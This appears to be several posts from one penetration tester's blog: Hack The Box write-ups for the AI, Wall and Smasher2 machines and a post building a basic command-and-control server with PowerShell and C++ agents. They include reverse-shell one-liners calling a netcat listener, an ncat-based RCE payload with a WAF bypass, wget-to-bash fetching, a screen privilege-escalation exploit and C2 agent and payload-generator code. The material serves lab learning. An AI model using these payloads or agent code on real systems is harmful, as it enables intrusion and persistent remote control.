Hey guys, today AI retired and here’s my write-up about it. It’s a medium rated Linux box and its ip is 10.10.10.163, I added it to /etc/hosts as ai.htb. Let’s jump right in !
Nmap
As always we will start with nmap to scan for open ports and services:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
root@kali:~/Desktop/HTB/boxes/AI# nmap -sV -sT -sC -o nmapinitial ai.htb Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-24 17:46 EST Nmap scan report for ai.htb (10.10.10.163) Host is up (0.83s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 6d:16:f4:32:eb:46:ca:37:04:d2:a5:aa:74:ed:ab:fc (RSA) | 256 78:29:78:d9:f5:43:d1:cf:a0:03:55:b1:da:9e:51:b6 (ECDSA) |_ 256 85:2e:7d:66:30:a6:6e:30:04:82:c1:ae:ba:a4:99:bd (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Hello AI! Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 123.15 seconds root@kali:~/Desktop/HTB/boxes/AI#
We got ssh on port 22 and http on port 80.
Web Enumeration
The index page was empty:
By hovering over the logo a menu appears:
The only interesting page there was /ai.php. From the description (“Drop your query using wav file.”) my first guess was that it’s a speech recognition service that processes users’ input and executes some query based on that processed input, And there’s also a possibility that this query is a SQL query but we’ll get to that later.:
I also found another interesting page with gobuster:
SQL injection –> Alexa’s Credentials –> SSH as Alexa –> User Flag
As I said earlier, we don’t know what does it mean by “query” but it can be a SQL query. When I created another audio file that says it's a test I got a SQL error because of ' in it's:
The injection part was the hardest part of this box because it didn’t process the audio files correctly most of the time, and it took me a lot of time to get my payloads to work. First thing I did was to get the database name. Payload:
1
one open single quote union select database open parenthesis close parenthesis comment database
The database name was alexa, next thing I did was enumerating table names, my payload was like the one shown below and I kept changing the test after from and tried possible and common things. Payload:
1
one open single quote union select test from test comment database
The table users existed. Payload:
1
one open single quote union select test from users comment database
From here it was easy to guess the column names, username and password. The problem with username was that it processed user and name as two different words so I couldn’t make it work. Payload:
1
one open single quote union select username from users comment database
password worked just fine. Payload:
1
one open single quote union select password from users comment database
Without knowing the username we can’t do anything with the password, I tried alexa which was the database name and it worked:
We owned user.
JDWP –> Code Execution –> Root Shell –> Root Flag
Privilege escalation on this box was very easy, when I checked the running processes I found this one:
This was related to an Apache Tomcat server that was running on localhost, I looked at that server for about 10 minutes but it was empty and I couldn’t do anything there, it was a rabbit hole. If we check the listening ports we’ll see 8080, 8005 and 8009 which is perfectly normal because these are the ports used by tomcat, but we’ll also see 8000:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
alexa@AI:~$ netstat -ntlp (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - tcp6 0 0 127.0.0.1:8080 :::* LISTEN - tcp6 0 0 :::80 :::* LISTEN - tcp6 0 0 :::22 :::* LISTEN - tcp6 0 0 127.0.0.1:8005 :::* LISTEN - tcp6 0 0 127.0.0.1:8009 :::* LISTEN - alexa@AI:~$
A quick search on that port and how it’s related to tomcat revealed that it’s used for debugging, jdwp is running on that port.
The Java Debug Wire Protocol (JDWP) is the protocol used for communication between a debugger and the Java virtual machine (VM) which it debugs (hereafter called the target VM). -docs.oracle.com
By looking at the process again we can also see this parameter given to the java binary:
I searched for exploits for the jdwp service and found this exploit. I uploaded the python script on the box and I added the reverse shell payload to a file and called it pwned.sh then I ran the exploit:
1 2 3 4 5 6 7 8 9 10 11 12
alexa@AI:/dev/shm$ nano pwned.sh alexa@AI:/dev/shm$ chmod +x pwned.sh alexa@AI:/dev/shm$ cat pwned.sh #!/bin/bash rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f alexa@AI:/dev/shm$ python jdwp-shellifier.py -t 127.0.0.1 --cmd /dev/shm/pwned.sh [+] Targeting '127.0.0.1:8000' [+] Reading settings for 'OpenJDK 64-Bit Server VM - 11.0.4' [+] Found Runtime class: id=b8c [+] Found Runtime.getRuntime(): id=7f40bc03e790 [+] Created break event id=2 [+] Waiting for an event on 'java.net.ServerSocket.accept'
Then from another ssh session I triggered a connection on port 8005:
alexa@AI:/dev/shm$ nano pwned.sh alexa@AI:/dev/shm$ chmod +x pwned.sh alexa@AI:/dev/shm$ cat pwned.sh #!/bin/bash rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f alexa@AI:/dev/shm$ python jdwp-shellifier.py -t 127.0.0.1 --cmd /dev/shm/pwned.sh [+] Targeting '127.0.0.1:8000' [+] Reading settings for 'OpenJDK 64-Bit Server VM - 11.0.4' [+] Found Runtime class: id=b8c [+] Found Runtime.getRuntime(): id=7f40bc03e790 [+] Created break event id=2 [+] Waiting for an event on 'java.net.ServerSocket.accept' [+] Received matching event from thread 0x1 [+] Selected payload '/dev/shm/pwned.sh' [+] Command string object created id:c31 [+] Runtime.getRuntime() returned context id:0xc32 [+] found Runtime.exec(): id=7f40bc03e7c8 [+] Runtime.exec() successful, retId=c33 [!] Command successfully executed alexa@AI:/dev/shm$
And we owned root ! That’s it , Feedback is appreciated ! Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham Thanks for reading.
It’s very common that after successful exploitation an attacker would put an agent that maintains communication with a c2 server on the compromised system, and the reason for that is very simple, having an agent that provides persistency over large periods and almost all the capabilities an attacker would need to perform lateral movement and other post-exploitation actions is better than having a reverse shell for example. There are a lot of free open source post-exploitation toolsets that provide this kind of capability, like Metasploit, Empire and many others, and even if you only play CTFs it’s most likely that you have used one of those before.
Long story short, I only had a general idea about how these tools work and I wanted to understand the internals of them, so I decided to try and build one on my own. For the last three weeks, I have been searching and coding, and I came up with a very basic implementation of a c2 server and an agent. In this blog post I’m going to explain the approaches I took to build the different pieces of the tool.
Please keep in mind that some of these approaches might not be the best and also the code might be kind of messy, If you have any suggestions for improvements feel free to contact me, I’d like to know what better approaches I could take. I also like to point out that this is not a tool to be used in real engagements, besides only doing basic actions like executing cmd and powershell, I didn’t take in consideration any opsec precautions.
This tool is still a work in progress, I finished the base but I’m still going to add more execution methods and more capabilities to the agent. After adding new features I will keep writing posts similar to this one, so that people with more experience give feedback and suggest improvements, while people with less experience learn.
The server itself is written in python3, I wrote two agents, one in c++ and the other in powershell, listeners are http listeners.
I couldn’t come up with a nice name so I would appreciate suggestions.
Listeners
Basic Info
Listeners are the core functionality of the server because they provide the way of communication between the server and the agents. I decided to use http listeners, and I used flask to create the listener application.
A Listener object is instantiated with a name, a port and an IP address to bind to:
1 2 3 4 5 6 7 8
classListener:
def__init__(self, name, port, ipaddress): self.name = name self.port = port self.ipaddress = ipaddress ...
Then it creates the needed directories to store files, and other data like the encryption key and agents’ data:
if os.path.exists(self.agentsPath) == False: os.mkdir(self.agentsPath)
if os.path.exists(self.filePath) == False: os.mkdir(self.filePath)
...
After that it creates a key, saves it and stores it in a variable (more on generateKey() in the encryption part):
1 2 3 4 5 6 7 8 9 10 11 12 13 14
... if os.path.exists(self.keyPath) == False: key = generateKey() self.key = key with open(self.keyPath, "wt") as f: f.write(key) else: with open(self.keyPath, "rt") as f: self.key = f.read() ...
The Flask Application
The flask application which provides all the functionality of the listener has 5 routes: /reg, /tasks/<name>, /results/<name>, /download/<name>, /sc/<name>.
/reg
/reg is responsible for handling new agents, it only accepts POST requests and it takes two parameters: name and type. name is for the hostname while type is for the agent’s type.
When it receives a new request it creates a random string of 6 uppercase letters as the new agent’s name (that name can be changed later), then it takes the hostname and the agent’s type from the request parameters. It also saves the remote address of the request which is the IP address of the compromised host.
With these information it creates a new Agent object and saves it to the agents database, and finally it responds with the generated random name so that the agent on the other side can know its name.
1 2 3 4 5 6 7 8 9
@self.app.route("/reg", methods=['POST']) defregisterAgent(): name = ''.join(choice(ascii_uppercase) for i in range(6)) remoteip = flask.request.remote_addr hostname = flask.request.form.get("name") Type = flask.request.form.get("type") success("Agent {} checked in.".format(name)) writeToDatabase(agentsDB, Agent(name, self.name, remoteip, hostname, Type, self.key)) return (name, 200)
/tasks/<name>
/tasks/<name> is the endpoint that agents request to download their tasks, <name> is a placeholder for the agent’s name, it only accepts GET requests.
It simply checks if there are new tasks (by checking if the tasks file exists), if there are new tasks it responds with the tasks, otherwise it sends an empty response (204).
1 2 3 4 5 6 7 8 9 10 11
@self.app.route("/tasks/<name>", methods=['GET']) defserveTasks(name): if os.path.exists("{}/{}/tasks".format(self.agentsPath, name)): with open("{}{}/tasks".format(self.agentsPath, name), "r") as f: task = f.read() clearAgentTasks(name) return(task,200) else: return ('',204)
/results/<name>
/results/<name> is the endpoint that agents request to send results, <name> is a placeholder for the agent’s name, it only accepts POST requests and it takes one parameter: result for the results.
It takes the results and sends them to a function called displayResults() (more on that function in the agent handler part), then it sends an empty response 204.
1 2 3 4 5
@self.app.route("/results/<name>", methods=['POST']) defreceiveResults(name): result = flask.request.form.get("result") displayResults(name, result) return ('',204)
/download/<name>
/download/<name> is responsible for downloading files, <name> is a placeholder for the file name, it only accepts GET requests.
It reads the requested file from the files path and it sends it.
1 2 3 4 5 6 7
@self.app.route("/download/<name>", methods=['GET']) defsendFile(name): f = open("{}{}".format(self.filePath, name), "rt") data = f.read() f.close() return (data, 200)
/sc/<name>
/sc/<name> is just a wrapper around the /download/<name> endpoint for powershell scripts, it responds with a download cradle prepended with a oneliner to bypass AMSI, the oneliner downloads the original script from /download/<name> , <name> is a placeholder for the script name, it only accepts GET requests.
It takes the script name, creates a download cradle in the following format:
I had to start listeners in threads, however flask applications don’t provide a reliable way to stop the application once started, the only way was to kill the process, but killing threads wasn’t also so easy, so what I did was creating a Process object for the function that starts the application, and a thread that starts that process which means that terminating the process would kill the thread and stop the application.
As mentioned earlier, I wrote two agents, one in powershell and the other in c++. Before going through the code of each one, let me talk about what agents do.
When an agent is executed on a system, first thing it does is get the hostname of that system then send the registration request to the server (/reg as discussed earlier).
After receiving the response which contains its name it starts an infinite loop in which it keeps checking if there are any new tasks, if there are new tasks it executes them and sends the results back to the server.
After each loop it sleeps for a specified amount of time that’s controlled by the server, the default sleep time is 3 seconds.
Let’s take a look inside the loop, first thing it does is request new tasks, we know that if there are no new tasks the server will respond with a 204 empty response, so it checks if the response is not null or empty and based on that it decides whether to execute the task execution code block or just sleep again:
1 2 3
$task = (Invoke-WebRequest-UseBasicParsing-Uri$taskl-Method'GET').Content if (-Not [string]::IsNullOrEmpty($task)){
Inside the task execution code block it takes the encrypted response and decrypts it, splits it then saves the first word in a variable called flag:
There are 5 valid commands, shell, powershell, rename, sleep and quit.
shell executes cmd commands, powershell executes powershell commands, rename changes the agent’s name, sleep changes the sleep time and quit just exits.
Let’s take a look at each one of them. The shell and powershell commands basically rely on the same function called shell, so let’s look at that first:
It starts a new process with the given file name whether it was cmd.exe or powershell.exe and passes the given arguments, then it receives stdout and stderr and returns the result which is the VALID flag appended with stdout and stderr separated by a newline.
Now back to the shell and powershell commands, both of them call shell() with the corresponding file name, receive the output, encrypt it and send it:
The rename command updates the name variable and updates the tasks and results uris, then it sends an empty result indicating that it completed the task:
The same logic is applied in the c++ agent so I will skip the unnecessary parts and only talk about the http functions and the shell function.
Sending http requests wasn’t as easy as it was in powershell, I used the winhttp library and with the help of the Microsoft documentation I created two functions, one for sending GET requests and the other for sending POST requests. And they’re almost the same function so I guess I will rewrite them to be one function later.
if (hRequest) WinHttpCloseHandle(hRequest); if (hConnect) WinHttpCloseHandle(hConnect); if (hSession) WinHttpCloseHandle(hSession);
return response;
}
The shell function does the almost the same thing as the shell function in the other agent, some of the code is taken from Stack Overflow and I edited it:
self.name = name self.listener = listener self.remoteip = remoteip self.hostname = hostname self.Type = Type self.key = key
Then it defines the sleep time which is 3 seconds by default as discussed, it needs to keep track of the sleep time to be able to determine if an agent is dead or not when removing an agent, otherwise it will keep waiting for the agent to call forever:
1
self.sleept = 3
After that it creates the needed directories and files:
if os.path.exists(self.Path) == False: os.mkdir(self.Path)
And finally it creates the menu for the agent, but I won’t cover the Menu class in this post because it doesn’t relate to the core functionality of the tool.
I won’t talk about the wrapper functions because we only care about the core functions.
First function is the writeTask() function, which is a quite simple function, it takes the task and prepends it with the VALID flag then it writes it to the tasks path:
with open(self.tasksPath, "w") as f: f.write(task)
As you can see, it only encrypts the task in case of powershell agent only, that’s because there’s no encryption in the c++ agent (more on that in the encryption part).
Second function I want to talk about is the clearTasks() function which just deletes the tasks file, very simple:
1 2 3 4 5 6
defclearTasks(self): if os.path.exists(self.tasksPath): os.remove(self.tasksPath) else: pass
Third function is a very important function called update(), this function gets called when an agent is renamed and it updates the paths. As seen earlier, the paths depend on the agent’s name, so without calling this function the agent won’t be able to download its tasks.
The remaining functions are wrappers that rely on these functions or helper functions that rely on the wrappers. One example is the shell function which just takes the command and writes the task:
The last function I want to talk about is a helper function called displayResults which takes the sent results and the agent name. If the agent is a powershell agent it decrypts the results and checks their validity then prints them, otherwise it will just print the results:
if result == "": success("Agent {} completed task.".format(name)) else: key = agents[name].key if agents[name].Type == "p":
try: plaintext = DECRYPT(result, key) except: return0 if plaintext[:5] == "VALID": success("Agent {} returned results:".format(name)) print(plaintext[6:]) else: return0 else: success("Agent {} returned results:".format(name)) print(result)
Payloads Generator
Any c2 server would be able to generate payloads for active listeners, as seen earlier in the agents part, we only need to change the IP address, port and key in the agent template, or just the IP address and port in case of the c++ agent.
PowerShell
Doing this with the powershell agent is simple because a powershell script is just a text file so we just need to replace the strings REPLACE_IP, REPLACE_PORT and REPLACE_KEY.
The powershell function takes a listener name, and an output name. It grabs the needed options from the listener then it replaces the needed strings in the powershell template and saves the new file in two places, /tmp/ and the files path for the listener. After doing that it generates a download cradle that requests /sc/ (the endpoint discussed in the listeners part).
It wasn’t as easy as it was with the powershell agent, because the c++ agent would be a compiled PE executable.
It was a huge problem and I spent a lot of time trying to figure out what to do, that was when I was introduced to the idea of a stub.
The idea is to append whatever data that needs to be dynamically assigned to the executable, and design the program in a way that it reads itself and pulls out the appended information.
In the source of the agent I added a few lines of code that do the following:
Open the file as a file stream.
Move to the end of the file.
Read 2 lines.
Save the first line in the IP variable.
Save the second line in the port variable.
Close the file stream.
1 2 3 4 5 6 7 8
std::ifstream ifs(argv[0]);
ifs.seekg(TEMPLATE_EOF);
std::getline(ifs, ip); std::getline(ifs, sPort);
ifs.close();
To get the right EOF I had to compile the agent first, then update the agent source and compile again according to the size of the file.
For example this is the current definition of TEMPLATE_EOF for the x64 agent:
1
#define TEMPLATE_EOF 52736
If we take a look at the size of the file we’ll find that it’s the same:
The winexe function takes a listener name, an architecture and an output name, grabs the needed options from the listener and appends them to the template corresponding to the selected architecture and saves the new file in /tmp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
defwinexe(listener, arch, outputname):
outpath = "/tmp/{}".format(outputname) ip = listeners[listener].ipaddress port = listeners[listener].port
if arch == "x64": copyfile("./lib/templates/winexe/winexe64.exe", outpath) elif arch == "x32": copyfile("./lib/templates/winexe/winexe32.exe", outpath) with open(outpath, "a") as f: f.write("{}\n{}".format(ip,port))
success("File saved in: {}".format(outpath))
Encryption
I’m not very good at cryptography so this part was the hardest of all. At first I wanted to use AES and do Diffie-Hellman key exchange between the server and the agent. However I found that powershell can’t deal with big integers without the .NET class BigInteger, and because I’m not sure that the class would be always available I gave up the idea and decided to hardcode the key while generating the payload because I didn’t want to risk the compatibility of the agent. I could use AES in powershell easily, however I couldn’t do the same in c++, so I decided to use a simple xor but again there were some issues, that’s why the winexe agent won’t be using any encryption until I figure out what to do.
Let’s take a look at the crypto functions in both the server and the powershell agent.
Server
The AESCipher class uses the AES class from the pycrypto library, it uses AES CBC 256.
An AESCipher object is instantiated with a key, it expects the key to be base-64 encoded:
The powershell agent uses the .NET class System.Security.Cryptography.AesManaged.
First function is the Create-AesManagedObject which instantiates an AesManaged object using the given key and IV. It’s a must to use the same options we decided to use on the server side which are CBC mode, zeros padding and 32 bytes key length:
After that it checks if the provided key and IV are of the type String (which means that the key or the IV is base-64 encoded), depending on that it decodes the data before using them, then it returns the AesManaged object.
if ($IV) { if ($IV.getType().Name -eq"String") { $aesManaged.IV = [System.Convert]::FromBase64String($IV) } else { $aesManaged.IV = $IV } } if ($key) { if ($key.getType().Name -eq"String") { $aesManaged.Key = [System.Convert]::FromBase64String($key) } else { $aesManaged.Key = $key } } $aesManaged }
The Encrypt function takes a key and a plain text string, converts that string to bytes, then it uses the Create-AesManagedObject function to create the AesManaged object and it encrypts the string with a random generated IV.
I used pickle to serialize agents and listeners and save them in databases, when you exit the server it saves all of the agent objects and listeners, then when you start it again it loads those objects again so you don’t lose your agents or listeners.
For the listeners, pickle can’t serialize objects that use threads, so instead of saving the objects themselves I created a dictionary that holds all the information of the active listeners and serialized that, the server loads that dictionary and starts the listeners again according to the options in the dictionary.
I created wrapper functions that read, write and remove objects from the databases:
with open(database, 'rb') as d: whileTrue: try: data.append(pickle.load(d)) except EOFError: break return data
defwriteToDatabase(database,newData): with open(database, "ab") as d: pickle.dump(newData, d, pickle.HIGHEST_PROTOCOL)
defremoveFromDatabase(database,name): data = readFromDatabase(database) final = OrderedDict()
for i in data: final[i.name] = i del final[name] with open(database, "wb") as d: for i in final: pickle.dump(final[i], d , pickle.HIGHEST_PROTOCOL)
Demo
I will show you a quick demo on a Windows Server 2016 target.
This is how the home of the server looks like:
Let’s start by creating a listener:
Now let’s create a payload, I created the three available payloads:
After executing the payloads on the target we’ll see that the agents successfully contacted the server:
Let’s rename the agents:
I executed 4 simple commands on each agent:
Then I tasked each agent to quit.
And that concludes this blog post, as I said before I would appreciate all the feedback and the suggestions so feel free to contact me on twitter @Ahm3d_H3sham.
If you liked the article tweet about it, thanks for reading.
Ahmed Hesham aka 0xRick | Pentester / Red Teamer wannabe. [email protected]
About the blog
I enjoy hacking stuff as much as I enjoy writing about it. So here you can find write-ups for CTF challenges, articles about certain topics and even quick notes about different things that I want to remember.
Hey guys, today Wall retired and here’s my write-up about it. It was an easy Linux machine with a web application vulnerable to RCE, WAF bypass to be able to exploit that vulnerability and a vulnerable suid binary. It’s a Linux machine and its ip is 10.10.10.157, I added it to /etc/hosts as wall.htb. Let’s jump right in !
Nmap
As always we will start with nmap to scan for open ports and services:
root@kali:~/Desktop/HTB/boxes/wall# nmap -sV -sT -sC -o nmapinitial wall.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-06 13:59 EST
Nmap scan report for wall.htb (10.10.10.157)
Host is up (0.50s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2e:93:41:04:23:ed:30:50:8d:0d:58:23:de:7f:2c:15 (RSA)
| 256 4f:d5:d3:29:40:52:9e:62:58:36:11:06:72:85:1b:df (ECDSA)
|_ 256 21:64:d0:c0:ff:1a:b4:29:0b:49:e1:11:81:b6:73:66 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 241.17 seconds
root@kali:~/Desktop/HTB/boxes/wall#
We got http on port 80 and ssh on port 22. Let’s check the web service.
The only interesting thing was /monitoring, however that path was protected by basic http authentication:
I didn’t have credentials, I tried bruteforcing them but it didn’t work so I spent sometime enumerating but I couldn’t find the credentials anywhere. Turns out that by changing the request method from GET to POST we can bypass the authentication:
root@kali:~/Desktop/HTB/boxes/wall# curl -X POST http://wall.htb/monitoring/
<h1>This page is not ready yet !</h1>
<h2>We should redirect you to the required page !</h2>
<meta http-equiv="refresh" content="0; URL='/centreon'" />
root@kali:~/Desktop/HTB/boxes/wall#
The response was a redirection to /centreon:
Centreon is a network, system, applicative supervision and monitoring tool. -github
Bruteforcing the credentials through the login form will require writing a script because there’s a csrf token that changes every request, alternatively we can use the API.
According to the authentication part we can send a POST request to /api/index.php?action=authenticate with the credentials. In case of providing valid credentials it will respond with the authentication token, otherwise it will respond with a 403.
I used wfuzz with darkweb2017-top10000.txt from seclists:
root@kali:~/Desktop/HTB/boxes/wall# wfuzz -c -X POST -d "username=admin&password=FUZZ" -w ./darkweb2017-top10000.txt http://wall.htb/centreon/api/index.php?action=authenticate
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4 - The Web Fuzzer *
********************************************************
Target: http://wall.htb/centreon/api/index.php?action=authenticate
Total requests: 10000
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000005: 403 0 L 2 W 17 Ch "qwerty"
000000006: 403 0 L 2 W 17 Ch "abc123"
000000008: 200 0 L 1 W 60 Ch "password1"
000000004: 403 0 L 2 W 17 Ch "password"
000000007: 403 0 L 2 W 17 Ch "12345678"
000000009: 403 0 L 2 W 17 Ch "1234567"
000000010: 403 0 L 2 W 17 Ch "123123"
000000001: 403 0 L 2 W 17 Ch "123456"
000000002: 403 0 L 2 W 17 Ch "123456789"
000000003: 403 0 L 2 W 17 Ch "111111"
000000011: 403 0 L 2 W 17 Ch "1234567890"
000000012: 403 0 L 2 W 17 Ch "000000"
000000013: 403 0 L 2 W 17 Ch "12345"
000000015: 403 0 L 2 W 17 Ch "1q2w3e4r5t"
^C
Finishing pending requests...
root@kali:~/Desktop/HTB/boxes/wall#
password1 resulted in a 200 response so its the right password:
RCE | WAF Bypass –> Shell as www-data
I checked the version of centreon and it was 19.04:
It was vulnerable to RCE (CVE-2019-13024, discovered by the author of the box) and there was an exploit for it:
The script attempts to configure a poller and this is the payload that’s sent in the POST request:
payload_info={"name":"Central","ns_ip_address":"127.0.0.1",# this value should be 1 always
"localhost[localhost]":"1","is_default[is_default]":"0","remote_id":"","ssh_port":"22","init_script":"centengine",# this value contains the payload , you can change it as you want
"nagios_bin":"ncat -e /bin/bash {0} {1} #".format(ip,port),"nagiostats_bin":"/usr/sbin/centenginestats","nagios_perfdata":"/var/log/centreon-engine/service-perfdata","centreonbroker_cfg_path":"/etc/centreon-broker","centreonbroker_module_path":"/usr/share/centreon/lib/centreon-broker","centreonbroker_logs_path":"","centreonconnector_path":"/usr/lib64/centreon-connector","init_script_centreontrapd":"centreontrapd","snmp_trapd_path_conf":"/etc/snmp/centreon_traps/","ns_activate[ns_activate]":"1","submitC":"Save","id":"1","o":"c","centreon_token":poller_token,}
nagios_bin is the vulnerable parameter:
# this value contains the payload , you can change it as you want
"nagios_bin":"ncat -e /bin/bash {0} {1} #".format(ip,port),
I checked the configuration page and looked at the HTML source, nagios_bin is the monitoring engine binary, I tried to inject a command there:
When I tried to save the configuration I got a 403:
That’s because there’s a WAF blocking these attempts, I could bypass the WAF by replacing the spaces in the commands with ${IFS}. I saved the reverse shell payload in a file then I used wget to get the file contents and I piped it to bash. a:
root@kali:~/Desktop/HTB/boxes/wall# python exploit.py http://wall.htb/centreon/ admin password1 10.10.xx.xx 1337
[+] Retrieving CSRF token to submit the login form
exploit.py:38: UserWarning: No parser was explicitly specified, so I'm using the best available HTML parser for this system ("lxml"). This usually isn't a problem, but if you run this code on another system, or in a different virtual e
nvironment, it may use a different parser and behave differently.
The code that caused this warning is on line 38 of the file exploit.py. To get rid of this warning, pass the additional argument 'features="lxml"' to the BeautifulSoup constructor.
soup = BeautifulSoup(html_content)
[+] Login token is : ba28f431a995b4461731fb394eb01d79
[+] Logged In Sucssfully
[+] Retrieving Poller token
exploit.py:56: UserWarning: No parser was explicitly specified, so I'm using the best available HTML parser for this system ("lxml"). This usually isn't a problem, but if you run this code on another system, or in a different virtual e
nvironment, it may use a different parser and behave differently.
The code that caused this warning is on line 56 of the file exploit.py. To get rid of this warning, pass the additional argument 'features="lxml"' to the BeautifulSoup constructor.
poller_soup = BeautifulSoup(poller_html)
[+] Poller token is : d5702ae3de1264b0692afcef86074f07
[+] Injecting Done, triggering the payload
[+] Check your netcat listener !
root@kali:~/Desktop/HTB/boxes/wall# nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.xx.xx] from (UNKNOWN) [10.10.10.157] 37862
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ which python
/usr/bin/python
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@Wall:/usr/local/centreon/www$ ^Z
[1]+ Stopped nc -lvnp 1337
root@kali:~/Desktop/HTB/boxes/wall# stty raw -echo
root@kali:~/Desktop/HTB/boxes/wall# nc -lvnp 1337
www-data@Wall:/usr/local/centreon/www$ export TERM=screen
www-data@Wall:/usr/local/centreon/www$
Screen 4.5.0 –> Root Shell –> User & Root Flags
There were two users on the box, shelby and sysmonitor. I couldn’t read the user flag as www-data:
I searched for suid binaries and saw screen-4.5.0, similar to the privesc in Flujab I used this exploit.
The exploit script didn’t work properly so I did it manually, I compiled the binaries on my box:
libhax.c:
Then I uploaded them to the box and did the rest of the exploit:
www-data@Wall:/home/shelby$ cd /tmp/
www-data@Wall:/tmp$ wget http://10.10.xx.xx/libhax.so
--2019-12-07 00:23:12-- http://10.10.xx.xx/libhax.so
Connecting to 10.10.xx.xx:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16144 (16K) [application/octet-stream]
Saving to: 'libhax.so'
libhax.so 100%[===================>] 15.77K 11.7KB/s in 1.3s
2019-12-07 00:23:14 (11.7 KB/s) - 'libhax.so' saved [16144/16144]
www-data@Wall:/tmp$ wget http://10.10.xx.xx/rootshell
--2019-12-07 00:23:20-- http://10.10.xx.xx/rootshell
Connecting to 10.10.xx.xx:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16832 (16K) [application/octet-stream]
Saving to: 'rootshell'
rootshell 100%[===================>] 16.44K 16.3KB/s in 1.0s
2019-12-07 00:23:22 (16.3 KB/s) - 'rootshell' saved [16832/16832]
www-data@Wall:/tmp$
www-data@Wall:/tmp$ cd /etc
www-data@Wall:/etc$ umask 000
www-data@Wall:/etc$ /bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
www-data@Wall:/etc$ /bin/screen-4.5.0 -ls
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.
www-data@Wall:/etc$ /tmp/rootshell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data),6000(centreon)
#
And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham Thanks for reading.
Hey guys, today smasher2 retired and here’s my write-up about it. Smasher2 was an interesting box and one of the hardest I have ever solved. Starting with a web application vulnerable to authentication bypass and RCE combined with a WAF bypass, then a kernel module with an insecure mmap handler implementation allowing users to access kernel memory. I enjoyed the box and learned a lot from it. It’s a Linux box and its ip is 10.10.10.135, I added it to /etc/hosts as smasher2.htb. Let’s jump right in!
Nmap
As always we will start with nmap to scan for open ports and services:
root@kali:~/Desktop/HTB/boxes/smasher2# nmap -sV -sT -sC -o nmapinitial smasher2.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-13 07:32 EST
Nmap scan report for smasher2.htb (10.10.10.135)
Host is up (0.18s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 23:a3:55:a8:c6:cc:74:cc:4d:c7:2c:f8:fc:20:4e:5a (RSA)
| 256 16:21:ba:ce:8c:85:62:04:2e:8c:79:fa:0e:ea:9d:33 (ECDSA)
|_ 256 00:97:93:b8:59:b5:0f:79:52:e1:8a:f1:4f:ba:ac:b4 (ED25519)
53/tcp open domain ISC BIND 9.11.3-1ubuntu1.3 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.11.3-1ubuntu1.3-Ubuntu
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.74 seconds
root@kali:~/Desktop/HTB/boxes/smasher2#
We got ssh on port 22, dns on port 53 and http on port 80.
DNS
First thing I did was to enumerate vhosts through the dns server and I got 1 result:
root@kali:~/Desktop/HTB/boxes/smasher2# dig axfr smasher2.htb @10.10.10.135
; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> axfr smasher2.htb @10.10.10.135
;; global options: +cmd
smasher2.htb. 604800 IN SOA smasher2.htb. root.smasher2.htb. 41 604800 86400 2419200 604800
smasher2.htb. 604800 IN NS smasher2.htb.
smasher2.htb. 604800 IN A 127.0.0.1
smasher2.htb. 604800 IN AAAA ::1
